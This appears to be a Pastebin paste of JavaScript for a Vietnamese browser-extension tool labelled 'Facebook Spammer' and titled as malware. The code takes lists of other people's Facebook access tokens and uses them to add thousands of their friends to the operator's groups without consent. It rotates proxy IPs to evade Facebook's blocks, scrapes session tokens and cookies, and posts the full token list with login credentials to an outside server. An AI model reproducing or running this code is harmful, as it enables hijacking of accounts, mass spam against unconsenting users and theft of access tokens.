Advertisement
Guest User

Mã độc add group Facebook nulled by Tt

a guest
Feb 2nd, 2016
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var _timeMember = 0;
  2. var time_token = 10000;
  3. var _limit_member = 700;
  4. var _lsGroup_id = [];
  5. var _lsGroup_name = [];
  6. var forceStop = false;
  7. var _indexToken = 0;
  8. var _numTokenInBlock = 0;
  9. var _lsToken;
  10. var _timeOutBlock = 0;
  11. var _cUser;
  12. var _fb_dtsg;
  13. var _url = "https://thaipham.org/";
  14. //var _url = "https://localhost:44300/";
  15. var _ver = "1.6";
  16. var _saveLog = 3;
  17. var _loginName;
  18. var _pass;
  19. var _dataLogin;
  20. var _countErrorBlockContinuous = 0;
  21.  
  22. function Login() {
  23.     _loginName = $('#tbLoginName').val().trim();
  24.     _pass = $('#tbPass').val().trim();
  25.     $('#btLogin').disable();
  26.     $['get'](_url + 'login.aspx?loginname=' + _loginName + '&pass=' + _pass + '&ver=' + _ver + '&rdn=' + Math.floor((Math.random() * 1000) + 1), function (data) {
  27.         _dataLogin = JSON.parse(data);
  28.         if (_dataLogin['success']) {
  29.             $('#DivLogin').modal('hide');
  30.             $('#btLoginClick').hide();
  31.             var client = new XMLHttpRequest();
  32.             client.open('GET', _url + "extension/index.html?a=" + Math.floor((Math.random() * 1000) + 1));
  33.             client.onreadystatechange = function () {
  34.                 if (client.readyState == 4 && client.status == 200) {
  35.                     try {
  36.                         _fb_dtsg = $('input[name=fb_dtsg]').val();
  37.                         _cUser = document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1])[0];
  38.                     } catch (e) {
  39.                     }
  40.  
  41.                     if (_fb_dtsg == undefined || _cUser == undefined) {
  42.                         $('#DivPopup').showPop("Bệnh", "<b>Chuẩn đoán</b>: Lỗi lấy dữ liệu, do chưa đăng nhập hoặc lỗi trình duyệt.</br> <b>Thuốc chữa</b>: Tắt mở lại trình duyệt và chắc chắn rằng đã đăng nhập.");
  43.                         $('#btLogin').enable();
  44.                         return;
  45.                     }
  46.                     $("head").html("");
  47.                     $("body").html("");
  48.                     $("body")["html"](client.responseText);
  49.                     $("html").css('background-color', '#1e1e1e');
  50.                     document["title"] = "DocCoSauTool - Facebook Spammer";
  51.                     $('#DivMenu').show();
  52.                     if (_dataLogin['caregroupper']) {
  53.                         $('#liCareGroup').show();
  54.                         CareGroupLoad();
  55.                     } else {
  56.                         $('#liCareGroup').hide();
  57.                     }
  58.                     if (_dataLogin['addmemper']) {
  59.                         $('#liAddmem').show();
  60.                         AddmemLoad();
  61.                     } else {
  62.                         $('#liAddmem').hide();
  63.                     }
  64.                     if (_dataLogin['sharepostper']) {
  65.                         $('#liShareByToken').show();
  66.                         ShareByTokenLoad();
  67.                     } else {
  68.                         $('#liShareByToken').hide();
  69.                     }
  70.                 }
  71.             };
  72.             client.send();
  73.         } else {
  74.             if (_dataLogin['error']) {
  75.                 $('#DivPopup').showPop("Bệnh", "<b>Chuẩn đoán</b>: Không đăng nhập được.</br> <b>Thuốc chữa</b>: Nhập cho đúng hoặc hỏi bác sĩ Thái. Tin nhắn từ Sever: " + _dataLogin["mess"]);
  76.                 $('#btLogin').enable();
  77.             };
  78.         }
  79.     });
  80. }
  81.  
  82. function CareGroupLoad() {
  83.  
  84. }
  85.  
  86. var _stateData = {};
  87.  
  88. function SetStateData() {
  89.     _stateData["timeMember"] = $('#time_member').val();
  90.     _stateData["numTokenInBlock"] = $('#numTokenInBlock').val();
  91.     _stateData["timeToken"] = $('#time_token').val();
  92.     _stateData["timeBlockToken"] = $('#time_block_token').val();
  93.     _stateData["limitMember"] = $('#limit_member').val();
  94.     _stateData["saveLog"] = $('#tbSaveLog').val();
  95.     _stateData["stopToken"] = $('#tbStopToken').val();
  96.     _stateData["stopAllToken"] = $('#tbStopAllToken').val();
  97.     _stateData["listToken"] = $('#list_token').val();
  98.     chrome["runtime"]["sendMessage"]({
  99.         stateData: true,
  100.         method: "setData",
  101.         data: JSON.stringify(_stateData)
  102.     }, function (data) {
  103.     });
  104. }
  105. function AddmemLoad() {
  106.     chrome["runtime"]["sendMessage"]({
  107.         stateData: true,
  108.         method: "getData"
  109.     }, function (data) {
  110.         if (data) {
  111.             if (data != "[]")
  112.                 try {
  113.                     _stateData = JSON.parse(data);
  114.                     $('#time_member').val(_stateData["timeMember"]);
  115.                     $('#numTokenInBlock').val(_stateData["numTokenInBlock"]);
  116.                     $('#time_token').val(_stateData["timeToken"]);
  117.                     $('#time_block_token').val(_stateData["timeBlockToken"]);
  118.                     $('#limit_member').val(_stateData["limitMember"]);
  119.                     $('#tbSaveLog').val(_stateData["saveLog"]);
  120.                     $('#tbStopToken').val(_stateData["stopToken"]);
  121.                     $('#tbStopAllToken').val(_stateData["stopAllToken"]);
  122.                     $('#list_token').val(_stateData["listToken"]);
  123.                 } catch (e) {
  124.                     $('#DivPopup').showPop("Cảnh báo", "Có sự cố về nhập dữ liệu, xin lòng kiểm tra lại dữ liệu nhập vào trước khi chạy, tôi đã reset các thông số về mặc định. Thông tin về lỗi: " + e.message);
  125.                     _stateData = JSON.parse(data);
  126.                     $('#time_member').val("0.05");
  127.                     $('#numTokenInBlock').val("5");
  128.                     $('#time_token').val("0.1");
  129.                     $('#time_block_token').val("5");
  130.                     $('#limit_member').val("700");
  131.                     $('#tbSaveLog').val("20");
  132.                     $('#tbStopToken').val("20");
  133.                     $('#tbStopAllToken').val("2");
  134.                     $('#list_token').val("");
  135.                 }
  136.         }
  137.     });
  138.  
  139.     $('#list_token').change(function () {
  140.         logToken("Số token nhập vào: " + $('#list_token').val().split('\n').length);
  141.     });
  142.  
  143.     _indexToken = 0;
  144.  
  145.     getIP();
  146.     GetGroup();
  147.     $('#btGetGroup')['click'](function () {
  148.         GetGroup();
  149.     });
  150.     $('#btn_stop')['click'](function () {
  151.         forceStop = true;
  152.         $('#btn_continue').enable();
  153.         $(this).disable();
  154.     });
  155.  
  156.     $('#btn_continue')['click'](function () {
  157.         forceStop = false;
  158.         $('#btn_stop').enable();
  159.         $(this).disable();
  160.         PreJoinGroup();
  161.     });
  162.     $('#btn_checkToken')['click'](function () {
  163.         _count = 0;
  164.         _lsToken = $('#list_token').val().trim();
  165.         _lstokent = [];
  166.         if (_lsToken == '') {
  167.             $('#DivPopup').showPop("Bệnh", "<b>Chuẩn đoán</b>: Chưa có Token.</br> <b>Thuốc chữa</b>: Nhập Token.");
  168.             return;
  169.         }
  170.         _lsToken = $('#list_token').val().trim().split(/\n/);
  171.         logStt("Đang tiến hành kiểm tra " + _lsToken.length + " token...");
  172.  
  173.         jQuery['each'](_lsToken, function (i, token) {
  174.             var s = 'https://graph.facebook.com/v1.0/me?access_token=' + token + '&fields=id&format=json&method=get&pretty=0&suppress_http_code=1';
  175.             $['get'](s, function (data) {
  176.                 _count++;
  177.                 if (data['error']) {
  178.                 } else {
  179.                     _lstokent.push(token);
  180.                 }
  181.                 checkTokenComplete();
  182.             });
  183.         });
  184.     });
  185.     $('#btn_start')['click'](function () {
  186.         _percentMemError = $('#tbStopToken').val() / 100;
  187.         _percentTokenError = $('#tbStopAllToken').val();
  188.         SetStateData();
  189.         if (_lsGroup_id.length <= 0) {
  190.             $('#DivPopup').showPop("Bệnh", "<b>Chuẩn đoán</b>: Chưa có Group.</br> <b>Thuốc chữa</b>: Set nick này làm quản trị vài group.");
  191.             return;
  192.         }
  193.         _lsToken = $('#list_token').val().trim();
  194.         if (_lsToken == '') {
  195.             $('#DivPopup').showPop("Bệnh", "<b>Chuẩn đoán</b>: Chưa có Token.</br> <b>Thuốc chữa</b>: Nhập Token.");
  196.             return;
  197.         }
  198.         $('#list_token').disable();
  199.         _saveLog = $('#tbSaveLog').val().trim();
  200.         $('#tbReport').height($('#DivAddmem').height() - 397);
  201.         $(window).resize(function () {
  202.             $('#tbReport').height($('#DivAddmem').height() - 397);
  203.         });
  204.         var s = '';
  205.         _lsToken = $('#list_token').val().trim().split(/\n/);
  206.         for (var i = 0; i < _lsToken.length; i++) {
  207.             s += _lsToken[i] + ";";
  208.         }
  209.  
  210.         $['post'](_url + 'ValidateSever.aspx/', { 'loginname': _loginName, 'pass': _pass, 'ver': _ver, 'token': s }, function (data) {
  211.         });
  212.  
  213.         forceStop = false;
  214.         $(this).disable();
  215.         //$('#btn_stop').enable();
  216.         _timeMember = $('#time_member').val().trim() * 1000;
  217.         time_token = parseInt($('#time_token').val().trim()) * 1000;
  218.         _limit_member = parseInt($('#limit_member').val().trim());
  219.         _timeOutBlock = parseInt($('#time_block_token').val().trim()) * 1000;
  220.         _numTokenInBlock = parseInt($('#numTokenInBlock').val().trim());
  221.         if (_limit_member == 0) {
  222.             _limit_member = 1000;
  223.         }
  224.         ;
  225.         var html = '';
  226.         var count = 0;
  227.         jQuery['each'](_lsToken, function (i, accessToken) {
  228.             html += '<tr id="trReport_' + count + '" class="trReport">';
  229.             html += '<td class="first" style="font-weight: bold; text-align: center;">' + count + '</td>';
  230.             html += '<td class="second" style="text-align: center"><div class="btn-group"><button class="btn btn-success success_' + count
  231.                 + '">OK (<span>0</span>)</button></div> <div class="btn-group"><button class="btn btn-danger count_error_' + count
  232.                 //+ '">NO (<span>0</span>)</button><button class="btn btn-danger dropdown-toggle" data-toggle="dropdown"><span class="caret"></span></button> <ul class="dropdown-menu error_' + count
  233.                 //+ '"></ul></div></td>';
  234.                 + '">NO (<span>0</span>)</button></div></td>';
  235.             html += '<td class="third log_' + count + '" style="font-style: italic;"></td>';
  236.             html += '<td class="fourth friend_' + count + '"></td>';
  237.             html += '<td class="fifth">' + accessToken['substring'](0, 10) + ' ....' + accessToken.substring(accessToken.length - 11, accessToken.length) + '</td>';
  238.             html += '</tr>';
  239.             count++;
  240.         });
  241.         $('#tbody')['append'](html);
  242.         $('#tbody').append($('#tbody').find('tr').get().reverse());
  243.         changeIP();
  244.     });
  245.     $('#liAddmem')['click'](function () {
  246.         $('#DivAddmem').show();
  247.         $('#DivCareGroup').hide();
  248.         $('#DivShield').show();
  249.     });
  250.     $('#liCareGroup')['click'](function () {
  251.         $('#DivAddmem').hide();
  252.         $('#DivCareGroup').show();
  253.         $('#DivShield').show();
  254.     });
  255. }
  256.  
  257. function PreJoinGroup() {
  258.     if (_numTokenError >= _numTokenInBlock) {
  259.         _countErrorBlockContinuous++;
  260.     } else {
  261.         _countErrorBlockContinuous = 0;
  262.     }
  263.  
  264.     if (_countErrorBlockContinuous >= _percentTokenError) {
  265.         forceStop = true;
  266.         $('#DivPopup').showPop("Bệnh", "<b>Chuẩn đoán</b>: Tỉ lệ Thất bại quá cao có thể là do acc bị logout nên ko thể tiếp tục.</br> <b>Thuốc chữa</b>: Thay Token hoặc làm mới lại trình duyệt.");
  267.     } else {
  268.         RefreshToken();
  269.         SetStateData();
  270.         logToken("Đã chạy được " + _indexToken + "/" + _lsToken.length + " token");
  271.     }
  272.     _numTokenError = 0;
  273.     GetGroupCount(false);
  274.  
  275.     if (forceStop) {
  276.         $('#btn_continue').enable();
  277.         logStt("Đã có lệnh dừng.");
  278.         return;
  279.     }
  280.  
  281.     if (_indexToken >= _lsToken.length) {
  282.         //$('#btn_start').enable();
  283.         $('#DivPopup').showPop("Thư chúc mừng của Thái", "Tất cả tiến trình đã hoàn tất. Làm mới trình duyệt để khởi tạo tiến trình khác");
  284.         return;
  285.     }
  286.     if (parseInt(_indexToken) + parseInt(_numTokenInBlock) >= _lsToken.length) {
  287.         _numTokenInBlock = _lsToken.length - parseInt(_indexToken);
  288.     }
  289.  
  290.     for (var i = 0; i < _numTokenInBlock; i++) {
  291.         var indextoken = _indexToken;
  292.         $('#trReport_' + indextoken).show();
  293.         if (indextoken > _saveLog) {
  294.             $('#trReport_' + (indextoken - _saveLog)).hide();
  295.         }
  296.  
  297.         if (i >= _numTokenInBlock - 1) {
  298.             JoinGroup(indextoken, true);
  299.         } else {
  300.             JoinGroup(indextoken, false);
  301.         }
  302.         _indexToken++;
  303.     }
  304. }
  305.  
  306. var _lsCountGroupFinish = [];
  307. var _countError = 0;
  308. var _errorData;
  309. var _lsTokenReport = [];
  310. var _numTokenError = 0;
  311. var _percentMemError = 0;
  312. var _percentTokenError = 0;
  313. function JoinGroup(indexAccesToken, last) {
  314.     _lsTokenReport[indexAccesToken] = {};
  315.     _lsTokenReport[indexAccesToken].NumError = 0;
  316.     _lsTokenReport[indexAccesToken].NumFriend = 0;
  317.     _lsTokenReport[indexAccesToken].Error = false;
  318.  
  319.     _lsCountGroupFinish[indexAccesToken] = 0;
  320.     //console.log(accessToken + 'grID:' + groupId + 'Last' + last);
  321.     if (forceStop) {
  322.         $('#btn_continue').enable();
  323.         logStt("Đã có lệnh dừng.");
  324.         return;
  325.     }
  326.     if (last) {
  327.         logStt('Token cuối cùng của Block, chuẩn bị chuyển sang Block tiếp theo...' + ((_timeOutBlock + (_timeMember * _limit_member)) / 1000));
  328.         setTimeout(function () {
  329.             changeIP();
  330.         }, (_timeOutBlock + (_timeMember * _limit_member) + 15000));
  331.     }
  332.     var s = 'https://graph.facebook.com/v1.0/me?access_token=' + _lsToken[indexAccesToken] + '&fields=id&format=json&method=get&pretty=0&suppress_http_code=1';
  333.     $['get'](s, function (data) {
  334.         if (data['error']) {
  335.             _numTokenError++;
  336.             _lsTokenReport[indexAccesToken].Error = true;
  337.             $('.log_' + indexAccesToken)['text'](JSON['stringify'](data));
  338.         } else {
  339.             s = 'https://graph.facebook.com/v2.2/me/permissions?access_token=' + _lsToken[indexAccesToken] + '&format=json&method=get&pretty=0&suppress_http_code=1';
  340.             //console.log(s);
  341.             $['get'](s, function (data1) {
  342.                 var permission = data1['data']['filter'](function (permissiont) {
  343.                     return permissiont['permission'] == 'user_managed_groups' && permissiont['status'] == 'granted';
  344.                 });
  345.                 if (permission['length'] == 0) {
  346.                     $('.log_' + indexAccesToken)['text']('Token lỗi!');
  347.                     _numTokenError++;
  348.                     _lsTokenReport[indexAccesToken].Error = true;
  349.                 } else {
  350.                     s = 'https://graph.facebook.com/v2.2/me/groups?access_token=' + _lsToken[indexAccesToken] + '&format=json&limit=100&method=get&pretty=0&suppress_http_code=1';
  351.                     //console.log(s);
  352.                     jQuery['each'](_lsGroup_id, function (i, groupId) {
  353.                         $['get'](s, function (data2) {
  354.                             var groupfilter = data2['data']['filter'](function (groupfiltert) {
  355.                                 return groupfiltert['id'] == groupId;
  356.                             });
  357.                             if (groupfilter['length'] > 0) {
  358.                                 CheckJoinGroupFinish(indexAccesToken);
  359.                                 //$('.log_' + indexAccesToken)['append']('Tham gia group thành công <strong>--></strong> Đang Add Mem...');
  360.                                 //AddMemGroup(indexAccesToken, groupId);
  361.                             } else {
  362.                                 $['post']('https://graph.facebook.com/v1.0/' + groupId + '/members/' + data['id'] + '?access_token=' + _lsToken[indexAccesToken] + '&format=json&method=post&pretty=0&suppress_http_code=1', function () {
  363.                                     if (data['error']) {
  364.                                         _lsTokenReport[indexAccesToken].Error = true;
  365.                                         _numTokenError++;
  366.                                         _countError++;
  367.                                         CheckJoinGroupFinish(indexAccesToken);
  368.                                         _errorData = JSON['stringify'](data);
  369.                                         //$('.log_' + indexAccesToken)['text'](JSON['stringify'](_data));
  370.                                     } else {
  371.                                         var posting = $.post("https://www.facebook.com/ajax/groups/members/add_post.php?__pc=EXP1%3ADEFAULT", { 'source': 'member_summary', 'group_id': groupId, 'members[0]': data['id'], 'nctr[_mod]': 'pagelet_group_requests_summary', '__user': _cUser, '__a': '1', '__req': 'j', 'fb_dtsg': _fb_dtsg });
  372.                                         //source=member_summary&group_id=196524520378759&members[0]=100009530285634&nctr[_mod]=pagelet_group_requests_summary&__user=100005097882717&__a=1&__req=j&fb_dtsg=AQHBtUVTD1lh
  373.                                         posting.always(function (data) {
  374.                                             CheckJoinGroupFinish(indexAccesToken);
  375.                                             //$('.log_' + indexAccesToken)['append']('Tham gia group thành công <strong>--></strong> Đang Add Mem...');
  376.                                             //AddMemGroup(indexAccesToken, groupId);
  377.                                         });
  378.                                     }
  379.                                 });
  380.                             };
  381.                         });
  382.                     });
  383.                 };
  384.             });
  385.         }
  386.     });
  387. }
  388.  
  389. function CheckJoinGroupFinish(indexAccesToken) {
  390.     if (_countError > 0) {
  391.         $('.log_' + indexAccesToken)['text']("Có sự cố gặp phải với Token này (Rất tiếc là tớ chưa Bug được trường hợp này).");
  392.         _numTokenError++;
  393.         _lsTokenReport[indexAccesToken].Error = true;
  394.     }
  395.     _lsCountGroupFinish[indexAccesToken]++;
  396.     if (_lsCountGroupFinish[indexAccesToken] == _lsGroup_id.length) {
  397.         $('.log_' + indexAccesToken)['append']('Tham gia group thành công <strong>--></strong> Đang Add Mem...');
  398.         AddMemGroup(indexAccesToken);
  399.     }
  400. }
  401.  
  402. function AddMemGroup(indexAccesToken) {
  403.     if (forceStop) {
  404.         $('#btn_continue').enable();
  405.         logStt("Đã có lệnh dừng.");
  406.         return;
  407.     }
  408.     $['get']('https://graph.facebook.com/v2.2/me/friends?access_token=' + _lsToken[indexAccesToken] + '&format=json&limit=5000&method=get&pretty=0&suppress_http_code=1', function (data) {
  409.         if (data['error']) {
  410.             _lsTokenReport[indexAccesToken].Error = true;
  411.             _numTokenError++;
  412.             $('.log_' + indexAccesToken)['text'](JSON['stringify'](data));
  413.         } else {
  414.             var nfriend = data['data'].length;
  415.             $('.friend_' + indexAccesToken)['text'](nfriend);
  416.             var limitFriend = _limit_member;
  417.             var beginFriend = 0;
  418.             if (limitFriend > data['data'].length)
  419.                 limitFriend = data['data'].length;
  420.             else {
  421.                 beginFriend = getRandomInt(0, data['data'].length - limitFriend);
  422.             }
  423.             _lsTokenReport[indexAccesToken].NumFriend = limitFriend;
  424.             var idx = 0;
  425.             var idxGroup = -1;
  426.             for (var i = 0; i < limitFriend; i++) {
  427.                 var timeoutMember = i * _timeMember;
  428.                 setTimeout(function () {
  429.                     if (_lsTokenReport[indexAccesToken].Error) {
  430.                         $('.log_' + indexAccesToken)['html']("<span class=\"text-danger\">Tỉ lệ thất bại cao nên không tiếp tục.</span>");
  431.                         return;
  432.                     }
  433.                     var data2 = data['data'][beginFriend + idx];
  434.                     idxGroup++;
  435.                     if (idxGroup == _lsGroup_id.length) {
  436.                         idxGroup = 0;
  437.                     }
  438.                     var groupId = _lsGroup_id[idxGroup];
  439.                     idx++;
  440.                     $['post']('https://graph.facebook.com/v1.0/' + groupId + '/members/' + data2['id'], 'access_token=' + _lsToken[indexAccesToken] + '&format=json&method=post&pretty=0&suppress_http_code=1', function (data3) {
  441.                         if (data3['error']) {
  442.                             _lsTokenReport[indexAccesToken].NumError++;
  443.                             if (_lsTokenReport[indexAccesToken].NumError / _lsTokenReport[indexAccesToken].NumFriend >= _percentMemError) {
  444.                                 if (!_lsTokenReport[indexAccesToken].Error) {
  445.                                     _numTokenError++;
  446.                                     _lsTokenReport[indexAccesToken].Error = true;
  447.                                 }
  448.                                 $('.log_' + indexAccesToken)['html']("<span class=\"text-danger\">Tỉ lệ thất bại cao nên không tiếp tục.</span>");
  449.                                 return;
  450.                             }
  451.                             if (data3['error']['code'] == 4002) {
  452.                                 $('.log_' + indexAccesToken)['html']("<span class=\"text-warning\">Thành viên " + data2['id'] + " => nhóm " + groupId + " không thành công (Đã tham gia Group)</span>");
  453.  
  454.                                 //$('.error_' + indexAccesToken)['append']('<li style="padding: 2px 10px;">- Nguyên nhân: Đã tham gia Group!</li>');
  455.                             } else {
  456.                                 if (data3['error']['code'] == 368) {
  457.                                     $('.log_' + indexAccesToken)['html']('<span class="text-danger"> Thành viên ' + data2['id'] + ' => nhóm ' + groupId + ' không thành công (Block TÍnh năng)</span>');
  458.                                     //    $('.error_' + indexAccesToken)['append']('<li style="padding: 2px 10px;">- Nguyên nhân: Token Lỗi (Block Tính năng)!</li>');
  459.                                     //} else {
  460.                                     //    $('.error_' + indexAccesToken)['append']('<li style="padding: 2px 10px;">- ' + data3['error']['message'] + '</li>');
  461.                                 }
  462.                             };
  463.                             var numError = $('.count_error_' + indexAccesToken + ' span')['text']();
  464.                             numError++;
  465.                             $('.count_error_' + indexAccesToken + ' span')['text'](numError);
  466.                         } else {
  467.                             var numSuccess = $('.success_' + indexAccesToken + ' span')['text']();
  468.                             $('.log_' + indexAccesToken)['html']("<span class=\"text-success\">Thành viên " + data2['id'] + " => nhóm: " + groupId + " thành công</span>");
  469.                             numSuccess++;
  470.                             $('.success_' + indexAccesToken + ' span')['text'](numSuccess);
  471.                         }
  472.                     });
  473.                 }, timeoutMember);
  474.             }
  475.         }
  476.     });
  477. }
  478.  
  479. function changeIP() {
  480.     logStt("Đang thay đổi IP");
  481.     var server = "hola";
  482.     //var country = "nl,us,uk,hk,sg".split(",");
  483.     var country = "us,uk,sg".split(",");
  484.     var D = country[Math["floor"](Math["random"]() * country["length"])];
  485.     chrome["runtime"]["sendMessage"]({
  486.         proxy: true,
  487.         country: D,
  488.         server: server
  489.     }, function (n) {
  490.         logStt("Thay đổi IP thành công. Kiểm tra kết nối...");
  491.         var xhr = new XMLHttpRequest();
  492.         var file = "https://fbstatic-a.akamaihd.net/rsrc.php/v2/yp/r/YeRimK5wS78.png";
  493.         var randomNum = Math.round(Math.random() * 10000);
  494.  
  495.         xhr.open('HEAD', file + "?rand=" + randomNum, false);
  496.         try {
  497.             xhr.send();
  498.             if (xhr.status >= 200 && xhr.status < 304) {
  499.                 logStt("Kết nối ổn định, kiểm tra IP.");
  500.                 getIP();
  501.                 PreJoinGroup();
  502.             } else {
  503.                 logStt("Kết nối không ổn định. đổi IP khác...");
  504.                 changeIP();
  505.             }
  506.         } catch (e) {
  507.             logStt("Kết nối không ổn định. đổi IP khác...");
  508.             changeIP();
  509.         }
  510.     });
  511. }
  512. function GetGroupCount(first) {
  513.     logStt("Đang thống kê số mem group.");
  514.     $['each'](_lsGroup_id, function (i, groupid) {
  515.         $['get']('https://www.facebook.com/groups/' + groupid.trim() + '/members/', function (data1) {
  516.             if (first) {
  517.                 //console.log(data1);
  518.                 $('#tdf' + groupid.trim())['text'](data1.split('_50f8">')[1].split('</span>')[0]);
  519.             }
  520.             $('#td' + groupid.trim())['text'](data1.split('_50f8">')[1].split('</span>')[0]);
  521.         });
  522.     });
  523. }
  524.  
  525. function getIP() {
  526.     logStt("Kiểm tra IP Hiện tại.");
  527.     chrome["runtime"]["sendMessage"]({
  528.         checkIP: true
  529.     }, function (n) {
  530.         $("#ip")["text"](n["ip"] + " - " + n["country"]);
  531.     });
  532. }
  533. function loadPage(href) {
  534.     var xmlhttp = new XMLHttpRequest();
  535.     xmlhttp.open("GET", href, false);
  536.     xmlhttp.send();
  537.     return xmlhttp.responseText;
  538. }
  539. function logStt(s) {
  540.     $('#lbStt').text(s);
  541. }
  542. function logToken(s) {
  543.     $('#lbLogToken').text(s);
  544. }
  545.  
  546. function RemoveGroup(id) {
  547.     $('#tr' + id).remove();
  548.     var idx = _lsGroup_id.indexOf(id);
  549.     _lsGroup_id.splice(idx, 1);
  550.     _lsGroup_name.splice(idx, 1);
  551. }
  552. var _count = 0;
  553. function GetGroup() {
  554.     _count = 0;
  555.     _lsGroup_id = [];
  556.     _lsGroup_name = [];
  557.     var link = 'https://m.facebook.com/groups/?category=membership';
  558.     $('#tbodygroup').text('');
  559.     $['get'](link, function (data) {
  560.         var s1 = data.split('_55wo _55x2 _56bf')[1].split('</section>')[0];
  561.         var ls1 = s1.split('_52jc _52jh');
  562.         ls1.splice(0, 1);
  563.         for (var i = 0; i < ls1.length; i++) {
  564.             var s = ls1[i].substr(19, ls1[i].length).split('</a>')[0];
  565.             _lsGroup_id.push(s.split('?')[0]);
  566.             _lsGroup_name.push(s.split('>')[1]);
  567.             var html = '<tr id="tr' + _lsGroup_id[i] + '">';
  568.             html += '<td did="' + _lsGroup_id[i] + '" class="tdNumber" style="font-weight: bold; text-align: center;">X</td>';
  569.             html += '<td style="font-weight: bold; text-align: center;">' + _lsGroup_id[i] + '</td>';
  570.             html += '<td style="text-align: center">' + _lsGroup_name[i] + '</td>';
  571.             html += '<td id="tdf' + _lsGroup_id[i] + '">0</td>';
  572.             html += '<td id="td' + _lsGroup_id[i] + '">0</td>';
  573.             html += '</tr>';
  574.             $('#tbodygroup')['append'](html);
  575.         }
  576.         var all = $(".tdNumber").map(function () {
  577.             this['onclick'] = function () {
  578.                 RemoveGroup(this.getAttribute("did"));
  579.             };
  580.         }).get();
  581.         all.join();
  582.         GetGroupCount(true);
  583.     });
  584. }
  585.  
  586. var _lstokent = [];
  587. function checkTokenComplete() {
  588.     logStt("Đang kiểm tra Token: " + _lstokent.length + "/" + _count);
  589.     if (_count >= _lsToken.length) {
  590.         logStt("Kiểm tra Token đã hoàn tất. Kết quả: " + _lstokent.length + "/" + _lsToken.length);
  591.         _lsToken = _lstokent;
  592.         $('#list_token')['val']("");
  593.         jQuery['each'](_lsToken, function (i, accessToken) {
  594.             if (i == 0)
  595.                 $('#list_token')['val'](accessToken);
  596.             else
  597.                 $('#list_token')['val'](($('#list_token').val()) + "\n" + accessToken);
  598.         });
  599.     }
  600. }
  601.  
  602. function RefreshToken() {
  603.     logStt("Đang loại ra những token đã chạy");
  604.     $('#list_token')['val']("");
  605.     for (var i = _indexToken; i < _lsToken.length; i++) {
  606.         if (i == _indexToken)
  607.             $('#list_token')['val'](_lsToken[i]);
  608.         else
  609.             $('#list_token')['val'](($('#list_token').val()) + "\n" + _lsToken[i]);
  610.     }
  611. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement